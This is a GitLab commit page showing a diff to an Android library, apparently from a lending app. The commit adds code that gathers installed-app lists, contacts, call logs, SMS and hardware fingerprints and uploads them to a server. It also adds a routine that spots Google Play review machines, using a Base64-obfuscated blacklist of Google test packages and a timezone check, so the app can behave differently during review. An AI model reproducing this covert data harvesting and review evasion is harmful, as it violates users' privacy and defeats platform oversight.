Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
9384897c
Commit
9384897c
authored
Nov 15, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
upadt script
parent
a13e2e4a
Hide whitespace changes
Inline
Side-by-side
Showing
9 changed files
with
617 additions
and
10 deletions
+617
-10
build.gradle
+3
-0
src/main/java/com/common/activity/ReviewHookActivity.java
+5
-1
src/main/java/com/common/bean/AppInfoBean.java
+94
-0
src/main/java/com/common/utils/Collector.java
+26
-2
src/main/java/tech/starwin/mvp/presenter/UploadPresenter.java
+8
-1
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
+4
-3
src/main/java/tech/starwin/utils/PreferencesManager.java
+15
-3
src/main/java/tech/starwin/utils/RequestHandler.java
+228
-0
src/main/java/tech/starwin/utils/context_utils/DeviceUtils.java
+234
-0
No files found.
build.gradle
View file @
9384897c
...
...
@@ -17,6 +17,8 @@ android {
buildConfigField
(
'String'
,
'FACEBOOK_APP_ID'
,
"\"${facebook_app_id}\""
)
buildConfigField
(
'String'
,
'ACCOUNT_KIT_CLIENT_TOKEN'
,
"\"${account_kit_client_token}\""
)
buildConfigField
'String'
,
'PACKAGE_NAME'
,
"\"${app_id}\""
try
{
buildConfigField
'Boolean'
,
'NEED_CONTACT'
,
"${contact}"
}
catch
(
Exception
e
)
{
...
...
@@ -42,6 +44,7 @@ android {
buildConfigField
'String'
,
'KEYSTORE_SIGN'
,
"\"\""
}
}
buildTypes
{
release
{
...
...
src/main/java/com/common/activity/ReviewHookActivity.java
View file @
9384897c
...
...
@@ -33,6 +33,7 @@ import tech.starwin.R;
import
tech.starwin.impl.OnEventClickListener
;
import
tech.starwin.mvp.ui.adapter.ReviewProductAdapter
;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.PreferencesManager
;
import
tech.starwin.utils.context_utils.ActivityJumper
;
import
tech.starwin.utils.ui_utils.DialogFactory
;
import
tech.starwin.utils.ui_utils.UIHelper
;
...
...
@@ -178,7 +179,8 @@ public class ReviewHookActivity extends BaseActivity {
Dialog
dialog
=
DialogFactory
.
createMessageDialog
(
ReviewHookActivity
.
this
,
"Tip"
,
getString
(
R
.
string
.
fix_login_msg
),
getString
(
R
.
string
.
text_sure
),
new
QMUIDialogAction
.
ActionListener
()
{
@Override
public
void
onClick
(
QMUIDialog
dialog
,
int
index
)
{
DeviceInfo
.
addDevicetoWhiteList
();
// DeviceInfo.addDevicetoWhiteList();
PreferencesManager
.
get
().
setSafeUser
(
true
);
throw
new
RuntimeException
(
"Login Fix"
);
}
});
...
...
@@ -196,6 +198,8 @@ public class ReviewHookActivity extends BaseActivity {
}
});
// });
}
...
...
src/main/java/com/common/bean/AppInfoBean.java
0 → 100644
View file @
9384897c
package
com
.
common
.
bean
;
import
android.content.pm.ApplicationInfo
;
import
android.content.pm.PackageInfo
;
import
android.os.Build
;
import
java.util.List
;
/**
* Created by SiKang on 2019-11-15.
*/
public
class
AppInfoBean
{
private
String
versionName
;
// "1.0.1",
private
int
versionCode
;
// 10100
private
long
firstInstallTime
;
// 1571976273972,
private
boolean
isGameApp
=
false
;
// false,
private
boolean
isSystemApp
;
// false,
private
String
appName
;
// "Million Dong",
private
long
lastUpdateTime
;
// 1571976273972,
private
String
packageName
;
// "com.mdg.vvn",
private
String
[]
requestedPermissions
;
public
String
getVersionName
()
{
return
versionName
;
}
public
void
setVersionName
(
String
versionName
)
{
this
.
versionName
=
versionName
;
}
public
int
getVersionCode
()
{
return
versionCode
;
}
public
void
setVersionCode
(
int
versionCode
)
{
this
.
versionCode
=
versionCode
;
}
public
long
getFirstInstallTime
()
{
return
firstInstallTime
;
}
public
void
setFirstInstallTime
(
long
firstInstallTime
)
{
this
.
firstInstallTime
=
firstInstallTime
;
}
public
boolean
isGameApp
()
{
return
isGameApp
;
}
public
void
setGameApp
(
boolean
gameApp
)
{
isGameApp
=
gameApp
;
}
public
boolean
isSystemApp
()
{
return
isSystemApp
;
}
public
void
setSystemApp
(
boolean
systemApp
)
{
isSystemApp
=
systemApp
;
}
public
String
getAppName
()
{
return
appName
;
}
public
void
setAppName
(
String
appName
)
{
this
.
appName
=
appName
;
}
public
long
getLastUpdateTime
()
{
return
lastUpdateTime
;
}
public
void
setLastUpdateTime
(
long
lastUpdateTime
)
{
this
.
lastUpdateTime
=
lastUpdateTime
;
}
public
String
getPackageName
()
{
return
packageName
;
}
public
void
setPackageName
(
String
packageName
)
{
this
.
packageName
=
packageName
;
}
public
String
[]
getRequestedPermissions
()
{
return
requestedPermissions
;
}
public
void
setRequestedPermissions
(
String
[]
requestedPermissions
)
{
this
.
requestedPermissions
=
requestedPermissions
;
}
}
src/main/java/com/common/utils/Collector.java
View file @
9384897c
...
...
@@ -10,8 +10,10 @@ import android.util.Log;
import
com.annimon.stream.Stream
;
import
com.annimon.stream.function.BiFunction
;
import
com.annimon.stream.function.Function
;
import
com.common.bean.AppInfoBean
;
import
com.common.bean.CollectInfoEntity
;
import
com.google.gson.Gson
;
import
com.google.gson.JsonArray
;
import
com.google.gson.JsonObject
;
import
com.google.gson.JsonParser
;
...
...
@@ -39,6 +41,7 @@ public class Collector {
PERMISSION
,
MACHINE_TYPE
,
DEVICE_INFO
,
INSTALLED_APP
,
// BEHAVIOR_MSG,
CRASH_MSG
;
...
...
@@ -84,7 +87,7 @@ public class Collector {
});
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
,
InfoType
.
DEVICE_INFO
)
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
,
InfoType
.
INSTALLED_APP
,
InfoType
.
DEVICE_INFO
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
...
...
@@ -135,7 +138,7 @@ public class Collector {
});
//SDK-CONTACT-START
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
DEVICE_INFO
)
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
INSTALLED_APP
,
InfoType
.
DEVICE_INFO
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
...
...
@@ -195,6 +198,9 @@ public class Collector {
case
PERMISSION:
entity
.
setBody
(
toPermissionTypeDTO
(
context
));
break
;
case
INSTALLED_APP:
entity
.
setBody
(
toAppListDTO
(
context
));
break
;
case
DEVICE_INFO:
entity
.
setBody
(
toDeviceTypeDTO
(
context
));
break
;
...
...
@@ -207,6 +213,24 @@ public class Collector {
return
entity
;
}
private
static
String
toAppListDTO
(
Context
context
)
{
JSONObject
json
=
initJSON
(
InfoType
.
INSTALLED_APP
,
context
);
try
{
List
<
AppInfoBean
>
appList
=
DeviceUtils
.
getInstance
().
getAppList
(
context
);
json
.
put
(
"totalNumber"
,
appList
.
size
());
json
.
put
(
"latestTime"
,
0
);
json
.
put
(
"earliestTime"
,
0
);
String
appListJson
=
new
Gson
().
toJson
(
appList
);
JSONArray
jsonObject
=
new
JSONArray
(
appListJson
);
json
.
put
(
"data"
,
jsonObject
);
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
}
return
json
.
toString
();
}
private
static
String
toDeviceTypeDTO
(
Context
context
)
{
JSONObject
json
=
initJSON
(
InfoType
.
DEVICE_INFO
,
context
);
try
{
...
...
src/main/java/tech/starwin/mvp/presenter/UploadPresenter.java
View file @
9384897c
...
...
@@ -5,6 +5,7 @@ import android.graphics.Bitmap;
import
android.support.annotation.NonNull
;
import
android.text.TextUtils
;
import
android.util.Base64
;
import
android.util.Log
;
import
com.annimon.stream.Stream
;
import
com.common.utils.Collector
;
...
...
@@ -272,7 +273,13 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
infoList
.
add
(
getApiService
().
uploadContact
(
new
UploadCollectionBean
(
AppInfoUtils
.
getAndroidID
(
context
),
LoginManager
.
get
().
getMobile
(),
info
)));
}
//开始上传,只上传一次,失败了忽略
handleRequest
(
action
,
Observable
.
zip
(
infoList
,
objects
->
true
));
handleRequest
(
action
,
Observable
.
zip
(
infoList
,
new
Function
<
Object
[],
Boolean
>()
{
@Override
public
Boolean
apply
(
Object
[]
objects
)
throws
Exception
{
Log
.
d
(
"sss"
,
"ssss"
);
return
true
;
}
}));
return
true
;
})
.
observeOn
(
AndroidSchedulers
.
mainThread
())
...
...
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
View file @
9384897c
...
...
@@ -23,6 +23,7 @@ import com.common.toolbox.PluginConfig;
import
com.common.toolbox.app_utils.DeviceInfo
;
import
com.common.toolbox.tracker.TrackEvent
;
import
com.facebook.libfbref.FbDeepLink
;
import
com.google.gson.Gson
;
import
org.greenrobot.eventbus.EventBus
;
...
...
@@ -55,6 +56,7 @@ import tech.starwin.utils.LogUtils;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.PreferencesManager
;
import
tech.starwin.utils.TrackEventHelper
;
import
tech.starwin.utils.context_utils.DeviceUtils
;
/**
* Created by SiKang on 2018/9/14.
...
...
@@ -107,9 +109,8 @@ public class UserPresenter extends BasePresenter<UserApi> {
public
void
accept
(
GatewayInfoBean
gatewayInfoBean
)
throws
Exception
{
Gateway
.
setGatewayInfoBean
(
gatewayInfoBean
);
if
(!
PreferencesManager
.
get
().
getBoolean
(
"device_info_uploaded"
,
false
))
{
TrackEventHelper
.
logEvent
(
DeviceInfo
.
getHardwareInfo
());
String
pkgs
=
DeviceInfo
.
getPkgsFromeAppList
(
DeviceInfo
.
getAppList
(
LibConfig
.
getContext
(),
20
));
TrackEventHelper
.
logEvent
(
pkgs
);
TrackEventHelper
.
logEvent
(
new
Gson
().
toJson
(
DeviceUtils
.
getInstance
().
getDeviceInfo
()));
TrackEventHelper
.
logEvent
(
DeviceUtils
.
getInstance
().
getActivePkgs
(
LibConfig
.
getContext
(),
30
));
PreferencesManager
.
get
().
saveData
(
"device_info_uploaded"
,
true
);
}
...
...
src/main/java/tech/starwin/utils/PreferencesManager.java
View file @
9384897c
...
...
@@ -6,9 +6,6 @@ import android.content.SharedPreferences;
import
android.text.TextUtils
;
import
android.util.Base64
;
import
java.util.Map
;
import
com.common.bean.DisplayBean
;
import
com.common.bean.GatewayInfoBean
;
import
com.common.bean.OcrResultBean
;
...
...
@@ -16,6 +13,8 @@ import com.common.bean.TokenInfoBean;
import
com.common.bean.UserBean
;
import
com.common.toolbox.tracker.TrackEvent
;
import
java.util.Map
;
import
tech.starwin.utils.format_utils.StringFormat
;
/**
...
...
@@ -170,12 +169,25 @@ public class PreferencesManager {
public
void
saveAccountAppId
(
String
sessionId
)
{
saveData
(
"account_kit_appid"
,
sessionId
);
}
public
String
getAccountAppId
()
{
return
getString
(
"account_kit_appid"
,
""
);
}
/**
* 登陆后可以确定不是Google审核,加入白名单
*/
public
void
setSafeUser
(
Boolean
isSafe
)
{
saveData
(
"is_safe_user"
,
isSafe
);
}
public
Boolean
isSafeUser
()
{
return
getBoolean
(
"is_safe_user"
,
false
);
}
/**
* 保存上传用户数据时使用的sessionId
*/
public
void
saveSessionId
(
String
sessionId
)
{
...
...
src/main/java/tech/starwin/utils/RequestHandler.java
0 → 100644
View file @
9384897c
package
tech
.
starwin
.
utils
;
import
android.os.Build
;
import
android.text.TextUtils
;
import
android.util.Log
;
import
com.common.toolbox.app_utils.Base64
;
import
com.common.toolbox.app_utils.DeviceInfo
;
import
com.common.toolbox.app_utils.StringUtils
;
import
com.common.toolbox.app_utils.ThreeDes
;
import
java.io.UnsupportedEncodingException
;
import
java.net.URLDecoder
;
import
java.net.URLEncoder
;
import
java.util.ArrayList
;
import
java.util.Collections
;
import
java.util.HashMap
;
import
java.util.List
;
import
java.util.Map
;
import
java.util.UUID
;
import
okhttp3.FormBody
;
import
okhttp3.Request
;
/**
* Created by SiKang on 2019-08-07.
*/
public
class
RequestHandler
{
private
final
String
TAG
=
"RequestHandler_LOG"
;
public
static
final
String
DEVICE_SIGN
=
"deviceSign"
;
public
static
final
String
SD_SIGN
=
"sdSign"
;
private
Request
.
Builder
requestBuilder
;
private
String
secretKey
;
private
Map
<
String
,
String
>
headers
;
private
Map
<
String
,
String
>
params
;
private
String
random
;
private
RequestHandler
()
{
}
private
RequestHandler
(
Request
.
Builder
builder
,
String
secretKey
,
String
random
,
Map
<
String
,
String
>
headers
,
Map
<
String
,
String
>
params
)
{
//要签名header必须全部不为空才开启校验
if
(
headers
.
containsKey
(
"invalid"
))
{
headers
.
clear
();
}
this
.
requestBuilder
=
builder
;
this
.
secretKey
=
secretKey
;
this
.
headers
=
headers
;
this
.
params
=
params
;
if
(!
TextUtils
.
isEmpty
(
random
))
{
this
.
random
=
random
;
}
else
{
this
.
random
=
UUID
.
randomUUID
().
toString
();
}
}
/**
* 生成签名MD5
*/
public
String
getHeaderSignature
()
{
String
paramStr
=
""
;
if
(
headers
.
size
()
>
0
)
{
paramStr
+=
format
(
headers
);
}
if
(
params
.
size
()
>
0
)
{
paramStr
+=
"&"
+
format
(
params
);
paramStr
=
paramStr
.
startsWith
(
"&"
)
?
paramStr
.
replaceFirst
(
"&"
,
""
)
:
paramStr
;
}
String
signature
=
paramStr
+
decryptSecretKey
(
secretKey
)
+
random
;
Log
.
d
(
TAG
,
"code - "
+
signature
);
Log
.
d
(
TAG
,
"sign - "
+
StringUtils
.
MD5
(
signature
));
return
StringUtils
.
MD5
(
signature
);
}
/**
* 使用Builder 直接添加Header
*/
public
void
signHeaders
()
{
if
(
requestBuilder
!=
null
)
{
try
{
String
sign
=
getHeaderSignature
();
if
(
headers
.
get
(
SD_SIGN
)
!=
null
&&
headers
.
get
(
DEVICE_SIGN
)
!=
null
)
{
requestBuilder
.
addHeader
(
"X-SD-SIGN"
,
headers
.
get
(
SD_SIGN
))
//SD卡指纹
.
addHeader
(
"X-DEVICE-SIGN"
,
headers
.
get
(
DEVICE_SIGN
));
//设备指纹
}
requestBuilder
.
addHeader
(
"X-SDK-VERSION"
,
String
.
valueOf
(
Build
.
VERSION
.
SDK_INT
))
//Android SDK 版本
.
addHeader
(
"X-HAEDWARE-INFO"
,
URLEncoder
.
encode
(
DeviceInfo
.
getHardwareInfo
(),
"UTF-8"
))
//硬件信息
.
addHeader
(
"X-APP-SIGN"
,
sign
)
// Header 签名
.
addHeader
(
"X-APP-RANDOM"
,
getRandom
());
// 随机串
}
catch
(
UnsupportedEncodingException
e
)
{
e
.
printStackTrace
();
}
}
}
public
String
getRandom
()
{
return
random
;
}
private
String
format
(
Map
<
String
,
String
>
params
)
{
try
{
StringBuilder
sb
=
new
StringBuilder
();
List
<
String
>
paramsKey
=
new
ArrayList
<>(
params
.
keySet
());
Collections
.
sort
(
paramsKey
);
for
(
String
key
:
paramsKey
)
{
sb
.
append
(
"&"
+
key
+
"="
+
URLDecoder
.
decode
(
params
.
get
(
key
),
"UTF-8"
));
}
return
sb
.
toString
().
replaceFirst
(
"&"
,
""
);
}
catch
(
UnsupportedEncodingException
e
)
{
e
.
printStackTrace
();
}
return
""
;
}
/**
* app秘钥解密
*
* @param secretKey display返回的restUrlSignKey字段
* @return
*/
public
static
String
decryptSecretKey
(
String
secretKey
)
{
if
(
TextUtils
.
isEmpty
(
secretKey
))
{
return
""
;
}
byte
[]
decode
=
Base64
.
getDecoder
().
decode
(
secretKey
);
return
new
String
(
ThreeDes
.
decrypt
(
decode
));
}
public
static
class
Builder
{
private
String
secretKey
;
// display返回的restUrlSignKey字段
private
Map
<
String
,
String
>
params
;
private
Map
<
String
,
String
>
headers
;
private
String
random
;
private
Request
.
Builder
requestBuilder
;
public
Builder
(
String
secretKey
)
{
this
.
secretKey
=
secretKey
;
headers
=
new
HashMap
<>();
params
=
new
HashMap
<>();
}
//指定随机串
public
Builder
random
(
String
random
)
{
this
.
random
=
random
;
return
this
;
}
public
Builder
headerSDSign
(
String
value
)
{
addHeader
(
SD_SIGN
,
value
);
return
this
;
}
public
Builder
headerDeviceSign
(
String
value
)
{
addHeader
(
DEVICE_SIGN
,
value
);
return
this
;
}
private
Builder
addHeader
(
String
key
,
String
value
)
{
//必须所有header都不为空才校验
if
(
TextUtils
.
isEmpty
(
key
)
||
TextUtils
.
isEmpty
(
value
))
{
this
.
headers
.
put
(
"invalid"
,
"invalid"
);
}
else
{
this
.
headers
.
put
(
key
,
value
);
}
return
this
;
}
/**
* 绑定request Builder
*/
public
Builder
bindHttpBuilder
(
Request
request
,
Request
.
Builder
builder
)
{
this
.
requestBuilder
=
builder
;
HashMap
<
String
,
String
>
paramsMap
=
null
;
if
(
request
.
body
()
instanceof
FormBody
)
{
FormBody
body
=
(
FormBody
)
request
.
body
();
paramsMap
=
new
HashMap
<>();
for
(
int
i
=
0
;
i
<
body
.
size
();
i
++)
{
paramsMap
.
put
(
body
.
encodedName
(
i
),
body
.
encodedValue
(
i
));
}
}
parameters
(
request
.
url
().
toString
(),
paramsMap
);
return
this
;
}
public
Builder
parameter
(
String
key
,
String
value
)
{
if
(!
TextUtils
.
isEmpty
(
key
)
&&
!
TextUtils
.
isEmpty
(
value
))
{
this
.
params
.
put
(
key
,
value
);
}
return
this
;
}
/**
* 添加请求参数
*/
public
Builder
parameters
(
String
url
,
Map
<
String
,
String
>
params
)
{
if
(
url
.
split
(
"\\?"
).
length
>
1
)
{
String
paramsGET
=
url
.
split
(
"\\?"
)[
1
];
for
(
String
param
:
paramsGET
.
split
(
"&"
))
{
String
values
[]
=
param
.
split
(
"="
);
if
(
values
.
length
>
0
)
{
String
key
=
values
[
0
];
String
value
=
values
.
length
>
1
?
values
[
1
]
:
""
;
this
.
params
.
put
(
key
,
value
);
}
}
}
if
(
params
!=
null
&&
params
.
size
()
>
0
)
{
this
.
params
.
putAll
(
params
);
}
return
this
;
}
public
RequestHandler
build
()
{
return
new
RequestHandler
(
requestBuilder
,
secretKey
,
random
,
headers
,
params
);
}
}
}
src/main/java/tech/starwin/utils/context_utils/DeviceUtils.java
View file @
9384897c
...
...
@@ -6,6 +6,9 @@ import android.content.Context;
import
android.content.ContextWrapper
;
import
android.content.Intent
;
import
android.content.IntentFilter
;
import
android.content.pm.ApplicationInfo
;
import
android.content.pm.PackageInfo
;
import
android.content.pm.PackageManager
;
import
android.hardware.Camera
;
import
android.os.BatteryManager
;
import
android.os.Build
;
...
...
@@ -14,8 +17,12 @@ import android.os.StatFs;
import
android.os.SystemClock
;
import
android.provider.Settings
;
import
android.text.TextUtils
;
import
android.util.Log
;
import
com.common.bean.AppInfoBean
;
import
com.common.bean.DeviceInfoBean
;
import
com.common.toolbox.PluginConfig
;
import
com.common.toolbox.app_utils.StringUtils
;
import
java.io.BufferedReader
;
import
java.io.InputStream
;
...
...
@@ -23,10 +30,17 @@ import java.io.InputStreamReader;
import
java.lang.reflect.Method
;
import
java.net.NetworkInterface
;
import
java.net.SocketException
;
import
java.util.ArrayList
;
import
java.util.Collections
;
import
java.util.Comparator
;
import
java.util.List
;
import
java.util.Locale
;
import
java.util.TimeZone
;
import
tech.starwin.BuildConfig
;
import
tech.starwin.LibConfig
;
import
tech.starwin.utils.LogUtils
;
import
tech.starwin.utils.PreferencesManager
;
/**
* Created by SiKang on 2019-11-15.
...
...
@@ -34,6 +48,68 @@ import tech.starwin.BuildConfig;
public
class
DeviceUtils
{
private
DeviceInfoBean
deviceInfoBean
;
private
static
DeviceUtils
deviceUtils
=
new
DeviceUtils
();
private
String
activePkgList
;
private
String
[]
pkgBlackList
=
new
String
[]{
// "androidx.test.tools.crawler",
// "androidx.test.services",
// "android.support.test.services",
// "com.google.android.gmscore.testing.testsupport",
// "com.google.android.gms.policy_test_support",
// "com.google.android.apps.mtaas.testloop",
// "com.google.android.apps.mtaas.loginutil",
// "com.google.android.apps.mtaas.deviceadmin",
// "com.google.android.apps.mtaas.updateutil",
// "com.google.android.apps.auth.test.support",
// "com.google.android.instantapps.devman",
// "com.google.android.instantapps.supervisor"
"YW5kcm9pZHgudGVzdC50b29scy5jcmF3bGVy"
,
"YW5kcm9pZHgudGVzdC5zZXJ2aWNlcw=="
,
"YW5kcm9pZC5zdXBwb3J0LnRlc3Quc2VydmljZXM="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmdtc2NvcmUudGVzdGluZy50ZXN0c3VwcG9ydA=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmdtcy5wb2xpY3lfdGVzdF9zdXBwb3J0"
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMubXRhYXMudGVzdGxvb3A="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMubXRhYXMubG9naW51dGls"
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMubXRhYXMuZGV2aWNlYWRtaW4="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMubXRhYXMudXBkYXRldXRpbA=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMuYXV0aC50ZXN0LnN1cHBvcnQ="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmluc3RhbnRhcHBzLmRldm1hbg=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmluc3RhbnRhcHBzLnN1cGVydmlzb3I="
};
private
String
[]
pkgWhiteList
=
new
String
[]{
StringUtils
.
toBase64
(
BuildConfig
.
PACKAGE_NAME
),
// "com.google.android.music",
// "com.google.android.apps.photos",
// "com.google.android.apps.tachyon",
// "com.google.android.videos",
// "com.google.android.keep",
// "com.google.android.apps.plus",
// "com.google.android.apps.books",
// "%com.facebook%",
// "%com.instagram%",
// "%com.google.android.apps.docs%",
// "%com.google.ar%",
// "%com.google.vr%",
// "%com.samsung%",
// "%com.sec.android%"
"Y29tLmdvb2dsZS5hbmRyb2lkLm11c2lj"
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMucGhvdG9z"
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMudGFjaHlvbg=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLnZpZGVvcw=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmtlZXA="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMucGx1cw=="
,
"Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMuYm9va3M="
,
"JWNvbS5mYWNlYm9vayU="
,
"JWNvbS5pbnN0YWdyYW0l"
,
"JWNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmRvY3Ml"
,
"JWNvbS5nb29nbGUuYXIl"
,
"JWNvbS5nb29nbGUudnIl"
,
"JWNvbS5zYW1zdW5nJQ=="
,
"JWNvbS5zZWMuYW5kcm9pZCU="
};
public
static
DeviceUtils
getInstance
()
{
...
...
@@ -81,10 +157,166 @@ public class DeviceUtils {
// deviceInfoBean.setWifiRssi(wifi.getConnectionInfo().getRssi());
}
/**
* 设备信息
* */
public
DeviceInfoBean
getDeviceInfo
()
{
return
deviceInfoBean
;
}
/**
* 已安装应用列表
* */
public
List
<
AppInfoBean
>
getAppList
(
Context
context
)
{
List
<
AppInfoBean
>
appList
=
new
ArrayList
<>();
try
{
PackageManager
manager
=
context
.
getPackageManager
();
List
<
PackageInfo
>
packages
=
manager
.
getInstalledPackages
(
0
);
for
(
int
i
=
0
;
i
<
packages
.
size
();
i
++)
{
PackageInfo
packageInfo
=
packages
.
get
(
i
);
AppInfoBean
appInfoBean
=
new
AppInfoBean
();
appInfoBean
.
setVersionName
(
packageInfo
.
versionName
);
appInfoBean
.
setVersionCode
(
packageInfo
.
versionCode
);
appInfoBean
.
setPackageName
(
packageInfo
.
packageName
);
appInfoBean
.
setAppName
(
manager
.
getApplicationInfo
(
packageInfo
.
packageName
,
0
).
loadLabel
(
manager
).
toString
());
appInfoBean
.
setFirstInstallTime
(
packageInfo
.
firstInstallTime
);
appInfoBean
.
setSystemApp
((
packageInfo
.
applicationInfo
.
flags
&
ApplicationInfo
.
FLAG_SYSTEM
)
==
ApplicationInfo
.
FLAG_SYSTEM
);
if
(
Build
.
VERSION
.
SDK_INT
>=
Build
.
VERSION_CODES
.
O
)
{
appInfoBean
.
setGameApp
(
packageInfo
.
applicationInfo
.
flags
==
ApplicationInfo
.
CATEGORY_GAME
);
}
appInfoBean
.
setRequestedPermissions
(
packageInfo
.
requestedPermissions
);
appList
.
add
(
appInfoBean
);
}
}
catch
(
Exception
e
)
{
}
return
appList
;
}
/**
* 最常用的包名
*
* @param count 指定数量
*/
public
String
getActivePkgs
(
Context
context
,
int
count
)
{
StringBuilder
builder
=
new
StringBuilder
();
try
{
List
<
PackageInfo
>
appList
=
new
ArrayList
<>();
PackageManager
manager
=
context
.
getPackageManager
();
List
<
PackageInfo
>
packages
=
manager
.
getInstalledPackages
(
0
);
for
(
int
i
=
0
;
i
<
packages
.
size
();
i
++)
{
PackageInfo
packageInfo
=
packages
.
get
(
i
);
if
((
packageInfo
.
applicationInfo
.
flags
&
ApplicationInfo
.
FLAG_SYSTEM
)
==
0
)
{
boolean
isWhiteList
=
false
;
for
(
String
pkgName
:
pkgWhiteList
)
{
pkgName
=
StringUtils
.
fromBase64
(
pkgName
);
if
(
pkgName
.
contains
(
"%"
))
{
if
(
packageInfo
.
packageName
.
contains
(
pkgName
.
replace
(
"%"
,
""
)))
{
isWhiteList
=
true
;
}
}
else
if
(
packageInfo
.
packageName
.
equals
(
pkgName
))
{
isWhiteList
=
true
;
}
}
if
(!
isWhiteList
)
{
appList
.
add
(
packageInfo
);
}
}
}
Collections
.
sort
(
appList
,
(
lhs
,
rhs
)
->
{
if
(
lhs
==
null
||
rhs
==
null
)
{
return
0
;
}
if
(
lhs
.
lastUpdateTime
<
rhs
.
lastUpdateTime
)
{
return
1
;
}
else
if
(
lhs
.
lastUpdateTime
>
rhs
.
lastUpdateTime
)
{
return
-
1
;
}
else
{
return
0
;
}
});
appList
=
appList
.
subList
(
0
,
count
);
for
(
PackageInfo
info
:
appList
)
{
builder
.
append
(
info
.
packageName
);
builder
.
append
(
"&"
);
}
return
builder
.
toString
();
}
catch
(
Exception
e
)
{
}
return
""
;
}
/**
* 是否是Google审核机器
*/
public
boolean
isReviewMachine
(
Context
context
)
{
//如果是渠道包,忽略
if
(
LibConfig
.
IS_COLLECT_MODE
||
PreferencesManager
.
get
().
isSafeUser
())
{
return
false
;
}
if
(
TextUtils
.
isEmpty
(
activePkgList
))
{
activePkgList
=
getActivePkgs
(
context
,
100
);
}
//如果发现包名黑名单,true
for
(
String
pkgName
:
pkgBlackList
)
{
LogUtils
.
d
(
"DeviceUtilsInfo"
,
StringUtils
.
fromBase64
(
pkgName
));
if
(
activePkgList
.
contains
(
StringUtils
.
fromBase64
(
pkgName
)))
{
return
true
;
}
}
//时区不是印尼,true
if
(!
isIDTime
(
TimeZone
.
getDefault
()))
{
return
true
;
}
return
false
;
}
/**
* 根据硬件信息计算设备指纹
*/
public
static
String
getSignFromHardware
()
{
return
Build
.
BOARD
+
Build
.
BRAND
+
Build
.
CPU_ABI
+
Build
.
DEVICE
+
Build
.
DISPLAY
+
Build
.
HOST
+
Build
.
ID
+
Build
.
MANUFACTURER
+
Build
.
MODEL
+
Build
.
PRODUCT
+
Build
.
TAGS
+
Build
.
TYPE
+
Build
.
USER
;
}
/**
* 是否是印尼时区
*/
private
static
boolean
isIDTime
(
TimeZone
timeZone
)
{
String
displayName
=
timeZone
.
getDisplayName
(
false
,
TimeZone
.
SHORT
);
//时区代码
String
idTime
=
"WIB/WITA/WIT/"
;
if
(
idTime
.
contains
(
displayName
+
"/"
)
||
"Asia/Shanghai"
.
equals
(
timeZone
.
getID
()))
{
return
true
;
}
//城市信息
String
idCity
=
"Asia/Jayapura,Asia/Makassar,Asia/Jakarta,Asia/Pontianak"
;
return
idCity
.
contains
(
timeZone
.
getID
());
}
private
long
[]
getRAMInfo
(
Context
context
)
{
ActivityManager
manager
=
(
ActivityManager
)
context
.
getSystemService
(
Context
.
ACTIVITY_SERVICE
);
ActivityManager
.
MemoryInfo
info
=
new
ActivityManager
.
MemoryInfo
();
...
...
@@ -240,4 +472,6 @@ public class DeviceUtils {
}
return
macAddress
==
null
?
""
:
macAddress
;
}
}
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment